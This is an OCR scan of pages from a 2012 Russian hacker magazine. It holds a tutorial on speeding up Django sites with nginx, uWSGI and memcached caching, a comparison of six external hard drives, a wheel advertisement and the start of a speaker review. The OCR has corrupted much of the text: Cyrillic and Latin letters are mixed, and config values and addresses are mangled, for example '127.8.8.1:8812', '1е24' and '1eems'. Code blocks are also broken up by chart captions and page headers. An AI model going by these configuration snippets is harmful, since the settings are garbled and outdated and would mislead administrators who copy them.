особенности используемого железа, объем оперативной памяти и

т. д. Вопрос этот также многогранен, но несколько универсальных

рекомендаций все-таки существует.

ПРИСТУПАЕМ Начнем, как и пол ожено, с установ ки нужных нам программных

компонентов. Большинство из них есть в репазитарии любого дис­

трибутива, поэтому здесь всё просто:

ХАКЕР 03/158/2012

И с пытание нагрузкой

РАСПРЕДЕЛЕННЫЙ КЕШ

Django умеет распределять кеш по нескольким memcached­cepвepaм в автоматическом режиме . Для этого достаточно указать

все их адреса через точку с запятой:

CACHE_BACKEND ; 'mem­cached://172.19.26.24e:11211;172.19.26.242:11212; 172.19.26.244:11213/ '

$ sudo apt-get install nginx memcached python \ python-setuptools mysql-server

Вместо MySQL можно, конечно же, установить PostgгeSQL. Django, а также uWSGI и pythoп-memcached мы поставим из репо­зитария Pythoп .

$ sudo easy_install django uwsgi python-memcached

Также нам понадобится кеширующий фреймворк djohnпy-cache,

о назначении которого я расскажу позже:

$ sudo easy_install djohnny-cache

НАСТРОЙКА NGINX Первым делом настраиваем nginx . Всё по стандартной схеме. Бэка­пим стандартный конфиг nginx:

$ sudo mv / etc / nginx/{nginx.conf,nginx.conf.old}

Создаем новый конфиг и пишем в него следующее:

# vi /etc/nginx/nginx.conf # Для достижения максимальной nроизводительности делаем

# число рабочих процессов равным чи слу nроцессорных ядер worker_processes 4 ; # Даем рабочим nроцессам более высоки й nриоритет worker_priority - 5; #Уменьшаем число вызовов get timeofday{), чтобы

# н е тратить ресурсы впустую

timer_resolution 1eems ; error_log /var/log/nginx/error.log; pid /var/run/nginx.pid; events {

# Одновременное количество коннектов, # обслуживаемых одн им рабочим n роцессом

worker_connections 1е24 ;

# Оnция для FreeBSD # use kqueue;

http {

DJАNGОИСПОЛЬЗУЕТВСЮ

МОЩЬ ЯЗЫКА PYTHON, ЧТОБЫ МАКСИМАЛЬНО РАЗГРУЗИТЬ

ПРОГРАММИСТА

125

Page 128: Xakep 03_2012

SYN/ACK

Ш Django settings fог unixoid_Ьlog pгoject.

fгom os impoгt path BASEDIR = path.diгnameCpath.abspathC __ file __ ))

DEBUG = r 1

TEMPLATE DEBUG = DEBUG

ADMINS = С С 'Evgeny Zobnin' , '[email protected]' ),

MANAGERS = ADMINS

DATABASE ENGINE = 'sqliteЗ' +г 'огасlе'.

# 'postgгesql_psycopg2', 'postgгesql', 'mysql', 'sqliteЗ' о

DATABASE_NAME = 'db .sqlite' DATABASE_USER = ' ' DATABASE_PASS~ORD = DATABASE_HDST = DATABASE_PDRT = ' '

# Ог path to database file if using sqliteЗ. # Not used with sqliteЗ. # Not used with sqliteЗ. # Set to empty stгing fог localhost. Hot used with sqliteЗ. # Set to empty stгing fог default. Hot used with sqliteЗ .

TIME_ZDNE = 'Asya/Yekateгinbuгg' settings .py [pythonJ [1,1J[1%J "settings.py" ВЗL, 2'1'15С

Стандартный конфиг Django

# Стандартные опции

iпclude /etc/пgiпx)mime.types;

access_log /var/log/пgiпx/access.log;

# Включаем ис пользование системного вызова seпdfile( )

seпdfile оп;

tcp_пopush off; # Держать kеераlivе-соединение открытым 65 секунд

keepalive_timeout 65 ; # Включаем GZIР-компрессию со станда ртными опциями

gzip оп; gzip_miп_leпgth 1100; gzip_buffers 64 8k ; gzip_comp_level 3; gzip_http_versioп 1 .1; gzip_proxied апу; gzip_types text/plaiп applicatioп/xml

applicatioп/x-javascript text/css;

}

# На ~тройки сайтов в отдельных конфигах (3то # стандартный каталог для Debiaп

iпclude /etc/пgiпx/sites-eпaЫed/*;

Несколько ремарок:

• Приоритет рабочих процессов следует изменять с осторожно­

стью, иначе они могут просто <<задавить» все остальные сервисы,

включая memcached и процессы базы данных. В идеале лучше протестировать работу nginx с дефолтными настройками и лишь затем приступать к экспериментам.

• Опция use kqueue немногоускоряет работу ngiпx во FгeeBSD благодаря использованию механизма kqueue вместо более мед­ленного epoll.

• Системный вызов sendfilell применяется для единовременной от­nравки содержимого целого файла в сокет. Метод с использованием

этого вызова работает быстрее, чем стандартное последователь­

ноекопированиеданных,ипозволяетсэкономитьнаоперативной

памяти. Однако, если сервер оснащен недостаточным количеством

126

ОЗУ, seпdfi l ell только вынудит nginx частосвопиться и тем самым за­медлит его работу. Оnция tcp_пopush заставляет ngiпx отправлять

НТТР-заголовки в одном па кете, но она бесполезна без sendfile. • GZIР-компрессия также может сыграть с сервером злую шутку.

С одной стороны, такая комnрессия уменьшаетобъем пере­

даваемых сервером данных, благодаря чему он можетуспеть

обработать больше заnросов, с другой- повышает нагрузку на

процессор, что nриводит к прямо nротивоположному результату.

Поэтомуточно выяснить, нужна ли она тебе, можно только экспе­

риментальным путем, причем эксnерименты следует проводить

под предельной нагрузкой .

Теперь самое время задать настройки сайта:

# vi /etc/пgiпx/sites-eпaЬled/mysite server {

# Порт и имя сайта

listeп 80 ; server_пame host.com;

ТЕСТИРОВАНИЕ ПРОИЗВОДИТЕЛЬНОСТИ

Протестировать производительность веб-сервера можно с

помощью утилиты аЬ из комплекта Apache:

$ аЬ -kc 500 -п 10000 http://10.1.1.1/

Для этого также используется специальная программа httpeгf:

$ httperf --hog --server=10.1.1.1 \ --wsess=2000,10,2 --rate 300 --timeout 5

ХАКЕР 03/158/201 2

Page 129: Xakep 03_2012

# Стандартные настройки журналирования

access_log /var/ log/ ngin x/ Ьlog-access.log ;

error_log /var/ log/ngin x/Ьlog - error.log;

# Адрес статики, используемой в админке Django location лN / media / {

root / usr / local / lib/ python2. 6/ dist-packages / django/contrib/admin;

} # Статика самого сайта

location N. л. +\.( jpg[jpeg [gif[png[ico [css [ zip[tgz [g z

[rar [bz2[ [pdf[ppt[txt[tar[ [bmp[js[mov) { root /var /www/host.com

} # Адрес и параметры WSGI-гeйтa

location / { uwsgi_pass 127.8 . 8.1 : 8812 ; include uwsgi_params;

Здес ь ничего необычного: указываем корневой каталог сайта

/vaг/www/host.com и ад рес uWSGI-cepвepa 127.0.0.1:8012. При­ступаем к настройке Django и uWSGI.

НАСТРОЙКА DJANGO И UWSGI Настроить Django для совместного использования с uWSGI очень прост о. Для этого достаточно выполнить три простых действия,

которые перечислены ниже.

1. Создать сам Django-npoeкт:

# cd /var/www # django-admin.py startproject mysite

2. Поместить в образован ны й каталог два файла:

django.xml <uwsgi >

<socket>127.8 .8. 1 :8812</socket> <pythonpath >/var/www/mysit e/</pythonpath > <module >django_wsgi</module>

</uwsgi >

django_wsgi.py import os os.environ[ 'DJANGO_SETTINGS_MODULE' ]

Методы и бэк-энды кеwирования в Django

ХАКЕР 03 /158/ 2012

'settings'

Испытание нагрузкой

DJANGO 1.3

В Django 1.3 синтаксис определения кеш-бэк-энда изменился и

теnерь имеет следующий вид:

# Пример для memcached (два сервера)

CACHES = {

' default' : 'BACKEND' : 'django . core.cache.backends.memcached.

MemcachedCache' , 'LOCAТION' : [

'172.19.26.248:11211 ' , '172.19 . 26 . 242:11211 ' ,

# Пример для БА

CACHES = {

'default' : { 'BACKEND' : 'django.core.cache.backends.db.

DatabaseCache' , 'LOCATION' : 'имя_ таблицы' ,

import django.core.handlers.wsgi applicat ion = django.core.handlers.wsgi.WSGIHandler()

3. Запустить uWSGI-cepвep [опция "-р" определяет количество рабочих процессовl:

# uwsgi -р 4 -s 127.8.8 .1 :8812

Скриптое автозапуска в комплекте uWSGI нет, поэтому послед­нюю команду проще всего засунуть куда-нибудь в /etc/гc . local:

# vi /etc/rc.local cd /var/www/mys ite uwsgi -р 4 -s 127.8.8.1:8812

НАСТРОЙКА КЕШ-БЭК-ЭНДА Теперь всё вроде бы настроено и работает, и мы переходим к

самой интересной и важной части статьи. Кеширование крити­

чески важно для быстродействия любого динамического сайта,

вне зависимости от технологий, на которых он построе н . Мы

должны упростить процесс переваривания и отдачи сервером

динамической составляющей. Есть несколько способов решения

этой задачи, но здесь всё зависит от специфики веб-сайта.

Во-первых, можно тупо кешировать все стр аницы сайта. Это

самый простой и о ч ень легко реализуемый с п омо щью Dj ango способ. Однако он является и самым неэффективным: любое из­

менение страницы приведет к промаху мимо кеша и повторной

загрузке страницы в него. Изменение может быть каким угодно:

срабатывание счетчика на сайте, появление нового коммента­

рия, обновление списка популярных статей и разделов. Поэтому

полное кеширование имеет смысл включать только дл я более­

менее статич ны х сайтов вроде блогов, с л оварей, эн ц иклопедий

и т. п.

Во-вторых, можно кешировать данные, загружаемые из БД.

Также легко реализуемый, но очень спорный вид оптимизации.

Он результативен только для тех сайтов, где осуществляется

127

Page 130: Xakep 03_2012

SYN/ACK

много операций чтения изБДимало операций записи, да и то

лишь в том случае, если само х ранилище кеш а работает быстрее

механизма к еширования базы данных . Другими словами, ке­

ширование результатов выборки из БД подойдет, опять же, для

более-менее статичных сайтов, размещенных на сервере, кото­

рый имеет достаточный объем памяти для нормальной работы

memcached. В-третьИх, кешировать можно нечасто изменяемые фрагмен­

ты шаблонов. Этот метод подойдет практически для любого сай­

та, он достаточно дешев и, на мой взгляд , наиболее эффективен.

Однако, в отличие от первых двух, он требует работы напильни­

ком и не имеет прямого отношения к администрированию как

таковому. Логикой и архитектурой занимаются программисты.

Также большое значение имеет выбор хранилища для кешире-

ванных данных. Djaпgo предлагает нам четыре варианта:

memcached-дорого в плане памяти, но очень эффективно; оперативная память- менее затратно, но и менее эффективно;

жесткий диск- очень неэффективно и очень дешево;

база данных-более эффективно, чуть дороже.

Первые два подойдут для владельцев выделенных серве­

ров, последние два можно применять на хостинге инедорогих

VPS'кax. Хотя, конечно, лучше протестировать производитель­

ность в реальных условиях и выбрать наиболее подходящий

вариант.

Теперь о том, как включить кеш-хранилище. Здесь всё просто­

открываем settiпgs.py проекта и пишем следующее:

# Локальный memcached CACHE_BACKEND = 'memcached://127.0.0.1:11211/' #База да нных ( как создать таблицу, оп исано н иже)

CACHE_BACKEND = 'dЬ://имя_таблицы'

# Файловая система

CACHE_BACKEND = 'filе:///nуть/до/файла'

# Оперативная память CACHE_BACKEND = 'locmem:///'

# Фи ктивный кеш (для раз работки )

CACHE_BACKEND = 'dummy:///'

Во втором случае необходимо предварительно создать таблицу

в базе данных. Делается это с помощью стандартного maпage.py:

# python manage.py createcachetaЫe имя_таблицы

Любой тип бэк-энда поддерживает следующие аргументы:

timeout- время жизни кешираванных данных в секундах !по умолчанию 3001; т ах eпtгies- максимальное количество записей в кеш е !по умол~а'нию 3001; cull_fгequeпcy- процент старых записей, которые удаляются

по достижении max_eпtгieslпo умолчанию 3, то есть треть всех

записей!.

Для передачи аргументов используется синтаксис CGI, например:

САСНЕ BACKEND "locmem:///?timeout=Зe&max_eпtries=4ee"

НАИБОЛЕЕ ЭФФЕКТИВНЫЙ МЕТОД КЕШИРОВАНИЯ-СОХРАНЕНИЕ

ТОЛЬКО ИЗБРАННЫХ ЧАСТЕЙ СГЕНЕРИРОВАННЫХ ВЕБ-СТРАНИЦ

128

u с о (.)

~ а; а.

%! ф :;, ~

Е

2500

2000

1500

1000

500

CGI glue between Nginx and Django

(higher is better)

cgi middleware server

8 fcgi (thread ed) 8 fcgi (prefark 4 О gunicam (2 gunicam (5 processors) workers) workers)

8 gunicam (1 О О uwsgi (2 warkers) 8 uwsgi (5 warkers) О uwsgi ( 1 О warkers) workers)

Ненагрузачное тестирование uWSGI

а к , если ты решил, не сильно заморачиваясь с настройкой и

шаблонами , добиться некоторой оптимизации, то кеширование

всех страниц сайта и записей БД- твой выбор. Сразу скажу, что

их одновременное кеширование не имеет смысла, однако кеши­

рование с траниц и записей по отдельности, как я уже упоминал,

может дать хороший результат на более или менее статичных

са йтах.

Для включения кеширования всего сайта средствами Django достаточно внести всего два изменения в settiпgs . py:

# Включаем кеширование MIDDLEWARE_CLASSES = (

# Важно разместить эту строку в начале

'django.middleware.cache.CacheMiddleware' , #Здесь идут все остальные mi ddleware .. • 'django.middleware.cache.FetchFromCacheMiddleware' ,

# Указываем "с рок годности" кеша в секундах

CACHE_MIDDLEWARE_SECONDS= 'Зee·

Это всё. Теперь любая сгенерированная из шаблона страница

будет попадать в кеш. Просто и тупо. Несколько более интел­

лектуальный сnособ заключается в исnользованиикешадля

хранения результатов выборки в БД . Для его реализации как раз

и нужен установленный ранее johnпy-cache, который использует

memcached в качестве бэк-энда. Активация осуществляется в три шага. Добавляем johпny-cache в список Оjаngо-приложений:

INSTALLED_APPS = (

' j ohnпy' ,

Далее подключаем соответствующий middleware:

MIDDLEWARE_CLASSES = ( 'johnny.middleware. LocalStoreClearMiddleware ' ,

'johnny.middleware.QueryCacheMiddleware ' ,

ХАКЕР 03/158/2012

Page 131: Xakep 03_2012

Затем указы ва ем в качеств е кеш-бэк-знда memcached и префикс для его ключей !чтобы избежать конфликтов с другими записями в memcachedl:

CACHE_BACKEND = 'johnny.backends . memcached : //127 . 8.8 .1:11211'

JOHNNY_MIDD(EWARE_K EY_PREFIX= 'jc_host_com'

Всё , н аслаждаем ся результатом!

КЕШИРОВАНИЕ ЧАСТЕЙ ШАБЛОНОВ Теперь рассмотрим на иболее правильны й и эффективн ы й метод

кеширования, который заключа ется в сох ран ении только из­

бра н ных частей сгенери рованны х веб-страниц. С его помощью мы

можем сделать так , чтобы при обраще н ии к веб-серверу заново

генерировалис ь только те злементы страницы, которые реально

часто меняются, а такие элементы, как х идер, футер, меню сайта,

и многие дру гие «дол гоживущие >> элеме нты страницы загружа­

лись из кеша.

Основной профит это г о метода в его чрезвычайной эффек­

тивности, атакженетребовательности к ресурсам машины .

Да же если хра нить кеш в базе данных или в обыч н ом файле,

скорость отдачи кеша по о пределению будет выше скорости

генерирования указанных частей шаблона и выборки из базы

да нны х. В т о же вре мя это т метод не та к просто применить, как

предыдущие два : для этого требуется понимать структуру сайт а

и в основны х чертах з нать , как работает система шаблонов

Djaпgo, что относится больше к веб-девелопингу, чем к тематике

рубрики. Как бы там ни бы л о, не рассказать об этом типе кеши­

рования н е ль з я , по этому приступи м к его рассмотрению :1. Дл я инструктирования Djaпg o о помещении какого-либо блока сайта

в кеш предусмотрен шаблонный тег с одноименным именем

cache, принимающи й два обязательных аргумента: время жизни

КЕШИРОВАНИЕ СРЕДСТВАМИ NGINX

Хоть это и малоэффективно, но кеширование можно настроить и

с помощью nginx. Для этого можно использовать директивы ргоху_ stoгe и tгy_files:

locatioп 1 { root /va r /www/; try_file ~ /cache/$uri @storage;

} locatioп @storage {

proxy_pass http://backend; proxy_set_header Host $host; proxy_store оп; proxy_store_access user:rw group:rw all:r; proxy_temp_path /var /www/cac he/; root /var/www/cac he/;

В результате все заnрашиваемые файлы будут nомещаться

в каталог /vaг/www/cache (лучше nримонтировать к нему tmpfs, чтобы файлы хранились в оnеративной nамяти), однако чистить его

nридется вручную (удаление файлов старше 10 минут) :

$ cd /var/www/c ache $ find ./ -type f -amin +18 -delete

Также можно nоместить эти команды в с гоn.

ХАКЕР 03 /158/ 2012

Испытание нагрузкой

impoгt os os . enviгon[ 'DJAHGO_SETTIHGS_HODULE' J = 'settings'

impoгt django.coгe.handleгs.wsgi

application = django . coгe.handleгs.wsgi.~SGIHandleг(

~ , 127.B.B.l:BB12 sock

<pyth <modu

(/Шa/SCil

/home/jlm/woгk/site/Ьlog/ rythonpath> django_wsgi

Конфиг uWSGI для Django

кеша в секундах и имя кеш-блока, которое может быть nроиз­

вольным . В дефолтной библиотеке тего в е г о н ет, nо э тому п еред

исnользованием этого тега следует nодкл ючить одн оименную

библиотеку с nомощью директивы load !размещаем соответст в у ­ющую строку в на чале нужных шаблонов):

{% load cache %}

Типичный пример исnользования cache может выглядеть сле­дующим образом:

{% Ьlock header %} {% cache seee header-cache %}

{% Ыосk logo %} {% endЬlock %} {% Ьloc k menu %} {% endЫock %}

{% endcache %} {% endЬlock %}

Здесь всё nросто. Есть бл ок headeг и два вложенных блока logo и menu, обрамленные блоком cache. Это значит, что сге н ериро ­

ванные фрагменты страницы из блоко в logo и meпu nопадают в кеш, где живут ровно 5000 секун д , nосле чего генерируются снова.

В такие же блоки cache можно nомещать и другие элементы веб­страниц, варьируя время жизни кеш а в зависимости от nредпола­

гаемого времени их жиз ни .

Чтобы активировать кеширование для бл оков, содержимое

которых меняется предсказуемым образом с учетом каких-либо

данных !например, различные сайдбары для за регистрированных

юзеров и анонимусов, страницы одн ой статьи и т. д.l, следует ука ­зать перемен ны е, содержащие эти данные, в качестве аргументов .

На пример :

{% Ьlock sidebar %} {% cache see sidebar-cache request.user.username %}

{% endcache %} {% endЬlock %}

В результате система ке ш ирования будет созда вать индиви­

дуальные записи в кеш е для разных пользователей на основе их

НИКОВ .

l:l§l:lei!CD Создавать высокопроизводительные Djаng о-проекты не так слож­

но, как может nо казаться на nервый вз гляд . Для этого требуется

только вооружиться nравильными инструментами и выбрать nод­

ходящую страте гию ке ш иро вания данных. Всё остальное за тебя

сделает система. ~

129

Page 132: Xakep 03_2012

Когда надо перебросить с одного ком пьютера на другой пару

гигабайт, в ход идут диски и флешки. Когда-то для обмена файлами

вообще хватало дискет la в некоторых государственных орга­низациях они используются до сих пор! . В наши дни эту задачу сильно облегчает интернет, но напрямую передавать через него

очень большие объемы данных не так-то просто. Можно, конечно,

особо не заморачиваться, а просто достать из системного блока

винчестер и прямо вместе с ним направиться по нужному адре-

су !так в свое время делали все трушные техноманьяки - прим . редактора! . Но, если эту процедуру проделывать слишком часто , о на начинает сильно утомлять, причем не столько хозяина, сколько

накопитель. Поэтому лучшим решением в некоторых ситуациях

станут внешние жесткие диски, компактные, а самое главное, та­

кие же простые в обращении, как и флеш-накопители. Сегодня мы

сравним 6 различных мобильных запоминающих устройств.

МЕТОДИКА ТЕСТИРОВАНИЯ Тести рование внешних жестких дисков проводилось в три этапа.

На первом с помощью бенчмарка НО Tune Рго мы проверяли, на­сколько быстро HDD справляются с последовательным чтением и записью. Н а графике ты можешь у видеть не только средние,

но и минимальные, а также максимальные значения. В конце мы

воепользавались подтестом под лаконичным и ясным названием

HDD из набора РСМагk Vantage. Он <<терзал » накоnители, за­

ставляя их выполнять операции, с которыми любой жесткий диск

ежедневно сталкивается в обычной жиэни. Как общий результат

в «nоnугаях>>, так и nромежуточные данные в Мб/с ты, опять же, сможешь лицезреть и сравнить между собой на графиках в самом

конце статьи. Несомненно, стоило бы устроить и краш-тест для

nущей уверенности в том или ином девайсе, но, к сожалению, при­

шлось довольствоваться бенчмарками.

ХАКЕР 03/158/2012

Page 133: Xakep 03_2012

ADATANH13 ткрывает тестирование стильный внешний жесткий

диск от ADATA. В н а шу лабораторию п о n ал черный ADATA NH13 объемом 750 Г б, все г о же в линейке четыре диска:

в черном корnусе на 500/750 Гб и в белом такого же объема. Чтобы накоnитель nрослужил nодальше, nроизводитель облачил его

в алюминий- и nрочность выше, чем у nластиковых внешних HDD, и смотрится достаточно солидно. На корnусе никаких кноnок или

иных nрисnособлений, только ин дикатор активности да nорт Mini USB 3.0.

В работе nоказал себя очень неnлохо - тихо, без чрезмерной .,_ вибрации он на ура сnравился со всеми бенчмарками, которые

выnали на его долю. Что касается комnлектации, то тут особого

богатства ждать не стоит: в картонной уnако в ке ты отыщешь лишь

кабель USB 3.0 да маленькую брошюрку с nодсказками по исnоль­зованию.

К ADATA NH13 также nрилагается и бесnлатный софт, который можно скачать nосле регистрации на сайте . С nомощью одной

из nредлагаемых nрограмм ты можешь сделать свой HDD устано­вочным [если у тебя есть DVD с Windows 71, вторая nозволяет легко и nросто nроизводить бэкаn выбранных файлов.

ХАКЕР 03/158/2012

От <<в инта» l

SEAGATE STAA1500100

<< внешником>> от Seagate не всё настолько же nро сто. Да ,

с виду это всё тот же сnичечный коробок-nереросток в ти­

nичном черном глян цевом корnусе, но вот от собратьев его

кое-что отличает. Всё дело в том, что устройства линейки GoFiex исnользуют в качестве интерфейса для nередачи данных модифи­

цированный SATA-nopт, несовместимый с обычным SATA. К нем у

уже nодключаются сменные модули-контроллеры интерфейсов,

таких как, наnример, USB второй или третей ревизии, eSATA или FiгeWiгe 800. В комnлекте с Seagate STAA1500100 nоставляет-ся модуль с USB 3.0. Остальные модули , если они тебе нужны,

ты можешь nриобрести отдельно- на свой вкус. Сам внешний

диск Seagate STAA1500100 оказался тяжелее и толще всех других

участвовавших в нашем сравнительном тестировании устройств .

Это неудивительно, ведь он может вместить целых 1,5 Тб nолезной или не очень информации . Стоит «ВИНТ>> соответственно, однако

среди nрочих участников теста он обладает самой низкой ценой

за условный гигабайт.

131

Page 134: Xakep 03_2012

FERRUM

SILICON POWER SP750GBPHDS20SЗU

1] торой диск с шильдиком Silicon Роwег, nринявший участие

в т естировании. Внешний вид HDD стал немного агрессивнее. Фиолетовый корnус смотрится неnлохо среди моря черных

« Внешников ». Если nродолжать аналогию с авто, синий индикатор

активности находится на <<каnоте » . Порт Mini USB 3.0 здесь также рас­nоложен на боку, nоэтому nридется вытаскивать диск из прилагаемого

че хла , чтобы подключить кабель. К нам в лабораторию nришла модель

объемом 750 Гб, но в серию входят еще три вариации с объемом от 500 до 1000 Гб- самые ходовые ныне «размеры » . Стандартная комnлек- li> тация здесь немного дополнена: кроме кабеля, е с ть и чехол, такой же

незамысловатый, как и у Silicon Роwег SP640GBPHDS10S3N. При про­хождении полосы препятствий-бенчмарков диск показал себя очень

достой но : не может не радовать, ч то красотадевайсане является

е г о един ственным плюсом. К устро йству прилагаетс я такой же софт,

к а к у младшей модели, но , мы думаем , ты уже и сам догадываешься ,

к а ко вы е го основные функции .

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ

Емкость:

Форм фактор: Интерфейс: Размеры:

Масса :

132

750 Гб 2.5" USB 3.0 77х16х 11 8мм

165 г

ADATA NH13

TRANSCEND TS1TSJ25HЗP

m а конец, мы дошли до «внешни к а >>, в не которой степени

защищенного от пагубного влияния внешней среды . Наnри­

мер, от кривых р у к, всё время норовящих уронить устройство

на твердую поверхность .

~ Tгanscend производит и имиджевые « винты » , но всё же более и з вестна именно по моделям с пластиковым корnусом , оснащенным

рези новым покрытием . К тому же на корпусе присутствует та самая

к н о nка для ленивых , выполняющая автоматиче с кий бэкап данных .

Далее всё более тривиально: интерфейс передачи данных USB 3.0, в к о мплект входят кабель и руководство пользователя . Забыли у помя­

нуть про дизайн- нам он чем-то напомнил уютный бабушкин свитер

сnокойного серого и фиолетового тонов . Правда, бабушкин свитер

не может х ранить 1 Тб данных, как Tгanscend TS1ТSJ25H 3 P. К слову,

есть моде ли с меньшим объемом [500 или 750 Гб ], которые, соответ­

ственн о, с тоят де шевле.

1,5 Тб 2,5" USB 3.0 89 х 120 х 22 мм 280 г

Seagate STAA1 500100

750 Гб 2,5" USB 3.0 80 х 21 х 142 мм 160 г

Slllcon Power SP750GBPH­DS20SЗU

ХАКЕР 03/158/ 2012

Page 135: Xakep 03_2012

VERBATIM 53035 ще один яркий диск в н ашей тестовой лаборатории­

кисл отно - розовый Veгbatim 53035. П о п равде говор я, вся

линейка Stoгe'n'Go сделана для весельчаков. В ней присут­

ствуют модели зеленого, лазурного, желтого, оранжевого и фиолето ­

вого цвета. В се они очень яркие, хоть развешивай их на елке вместо

новогодних игрушек . Обидно, что такой краси вы й корпус Veгbatim

53035 сделан из пластика, пускай даже это характер н о дл я большин­

ства внешних HDD. Всё, что т ы сможешь н айти с н аружи, - это си н ий

индикатор актив н ости и порт Mini USB 3.0. Кроме в н еш н его вид а,

« ВИНТ>> также может похвастаться завидной вместительностью в 1 Тб, благодаря чему с собой в дорогу можно взять ну очень много всего . 11>

И конечно, в первую очередь нас порадовала произ водительность

- Veгbatim 53035 единственный смог удержаться в тройке лидеров на протяжении всех наших тестов.

Также необходимо отметить софт : в комплекте предоста вляется

несколько ут илит от Nего, а также программа Gгeen Button, которая может показаться очень полезной владельцам ноутбуков. С ее по­

мощью можно самостоятельно настраивать время , спустя которое

внешний жесткий диск будет уходить в ждущий режим . Но если ты

не доверяеш ь автоматике, можешь дважды щелкнуть по значку n р о ­

граммы, и накопитель тут же «заснет>>.

Transcend TSПSJ25H3P

Verbatim 53035

1 Тб 2,5"

WESTERN DIGITAL WDBACX0010BBK

авершает тестирование nродукт комnании, кото рая более

чем известна на рынке жестких диско в . Л и н ейкаМу Pa sspoг t

Essential SE тоже вкл ючает в себя н а копител и раз ны х, н о всё

же более консер в а т ивных ц ветов: че рн ого, се р о г о, г ол у б о го и к р ас -

ного. Корпус устройства имеет обтекаемую форму, бл а годаря ч ему

.,. его , кстати, удобнее класть в карман. Н икаких лишних нав а ротав мы

не нашли: на корпусе всё так же имеется лишь логоти п компа н ии­

производителя, порт Mini USB 3.0 да мал ен ь кий бел ый индикатор

работы. Среди накопителей серии Му Passpo г t Essential SE есть как <<терабайтни ки>>, так и устройства н а 750 Гб. П олут о рате рабайт ная

<<высота>> крупнейшему п роизводителю жестких диско в п о каким-то

причинам пока не покорилась, правда, речь идет только о в н е ш них

2,5-дюймовых HDD. Н о и 1000 Гб - это немало, тем бол ее для <<в н еш­

ника>>. П о крайней мере, для создания р езе рвных ко п ий да нн ых такого

объема хватит за глаза. А упростит эт от п ро цесс с п е циальны й софт,

котор ы й п рила гается ко всем <<вне шн ика м>> этой лине й ки . Н е обо­

шл ось и без минусо в , к кот о ры м от н осится довольн о м ар к и й кор п ус

и не самые лучшие показатели п роиз в одител ьн ости.

Western Digital WDBACX-0010BBK

AWARDS П осле всей болтов н и, всех срав н ений, тест о в

1 Тб 2,5" USB 3.0 81 х22х131 мм 256 г

1 Тб 2,5" USB 3.0 82 х 20 х 127 мм 185 г

USB 3.0 83х18х110мм

200 г

и п рочего мы вплотную подходим к н аг ражде н ию .

Тебе еще п редс тоит п ознакомитьс я с п одробными

о п иса н иями участнико в теста, н о ка рты , то есть

резул ьтат ы, мы ра ск роем с р азу. Итак, << Вы бо ром

редакции>>, безусло вн о, стал ш устры й и в мест и ­

тельный Veгbatim 53035. П риз <<Луч ш а я n окуп ка>>,

отмечающий нечто вроде золотой се редины, по­

лучает Silicon Роwег SP750GBPHDS20S3U. :J:

ХАКЕР 03/158/2012 133

Page 136: Xakep 03_2012

FERRUM

PCMARK VANTAGE, &АЛЛЫ

ADATA NH13 750 Гбайт

Seagate STAA 1500100

Silicon Power SP750GBPHDS20S3U

Transcend ТS1ТSJ25НЗР

Verbatim 53035

Western Digital WDBACX001 ОВВК

Результаты PCMark Vantage трудно трактовать двусмысленно

PCMARK VANTAGE, М&АЙТ/С

ADATA NH13 750 Гбайт

Seagate STAA 1500100

Silicon Power SP750GBPHDS20S3U

Transcend ТS1ТSJ25НЗР

Verbatim 53035

Western Digital WDBACX001 ОВВК • WindowsOefender • Gaming • !~prot1ng Pittures to Windows photo Gallery

: ~d"e~0:d~~~~~~:i~;1~ndows Movie Market о 10 20 30 40 50 60 70 80

• Windows Media Center • Adding music to Windows Media Player

Applicationloading

Телерь nодробнее: сравним результаты каждого из nодтестов

HD TUNE PRO (READ), М&АЙТ/С

ADATA NH13 750 Гбайт

Seagate STAA 1500100

Silicon Power SP750GBPHDS20S3U

Transcend TS1ТSJ25H3P

Verbat im 53035

Western Digital WDBACX0010BBK

• НО Tune Pro ]Read], Мбайт/с иин . • НО Tune Pro ]Read], Мбайт/с макс. 8 НО Tune Pro IRead], Мбайт/с сред. о

1

20 1

40

Три скорости последовательного чтения : минимальная, максимальная и средняя

1

60

ТЕМПЕРАТУРА, 0 (

ADATA NH13 750 Гбайт

Seagate ST Ад 1500100

Silicon Power SP750GBPHDS20S3U

Transcend ТS1ТSJ25НЗР

Verbatim 53035

Western Digital WDBACX001 ОВВК

о 10 15 20 25 30 35 40 45

Температура у всех испытуемых была в норме даже после nрохожде ния всех тестов, если, конечно, верить показаниям встроенных температурных датчиков

HD TUNE PRO (WRITE), М&АЙТ/С

ADATA NH1 3 750 Гбайт

Seagate STAA 1500100

Silicon Power SP750GBPH DS20S3U

Transcend ТS1ТSJ25НЗР

Verbatim 53035

Weste rn Digital WDBACX001 ОВВК

• НО Tune Pro [Write], М байт/с мин . • НО Tune Pro [Write), М байт/с макс . • НО Tune Pro [Write], М байт/с сред.

1 1 1 1 1 1 1 20 40 60 80 1 00 120 140

Если какой -то из участников не отличился в скорости чтения, то и с записью

дело обстоит не лучше . И наоборот

1

80 1

100 1

120 1

140

ХАКЕР 03/158/2012

Page 137: Xakep 03_2012

MUGELLO - HYPER SILVER

VAIRANO SILVERSTONE MALLORY CARTHAGE VALENCIA

INDY 500 NARDO SEPANG ZOLDER CADWELL

ROTARY FORGED WHEELS NURBURGRING RF INTERLAGOS RF

Visit our website to view the complete line of TSW Wheels

TSW is dedicated to being the world 's premium provider of staggered wheel applications and has more one-piece staggered wheel sizes

than any other wheel brand in the world .

МАХ BROOKLANDS STOWE

LONDRINA JARAMA SNEПERTON

DONINGTON WILLOW STRIP

Реклама

Page 138: Xakep 03_2012

FERRUM Сергей nлотников

Общая выходная мощность: RMS 25 Вт+ 25 Вт ITHD + N = 10%1 Сигнал-шум: > 85 дБА Искажения: < 0,05 % Частотная характеристика: 20 Гц- 20 кГц Входная чувствительность: 700 ± 100 мВ Управление: громкость, выбор входа, FМ­

настройки, навигация Динамик НЧ: 5,751148 ммl, магнитное экранирование, 6 Ом, порт ФИ Динамик ВЧ : 1 125 ммl, твитеры с шелковым куполом, магнитное экранирование, 6 Ом Размеры: активная колонка: 318 х 191 х 284 мм; пассивная колонка: 318 х 186 х 271 мм Тип входа: два RСА-входа IRCA-RCA и RCA для входа AUXI, FМ-радио, 50-карта, USВ-вход Масса: 11 кг

EDIFIER R2500 ОБЗОР УНИВЕРСАЛЬНОЙ АКТИВНОЙ СТЕРЕОСИСТЕМЫ 2.0

Как утверждает на своем сайте компания

Ed ifieг, модель активной стереосистемы 2.0 R2500 [или Studio 5) идеально п одходит для дома, студии и офиса. И с этим, пожалуй, тя­

жело не согласиться, разве что для офисного

клерка колонки слегка великоваты. Но, с дру­

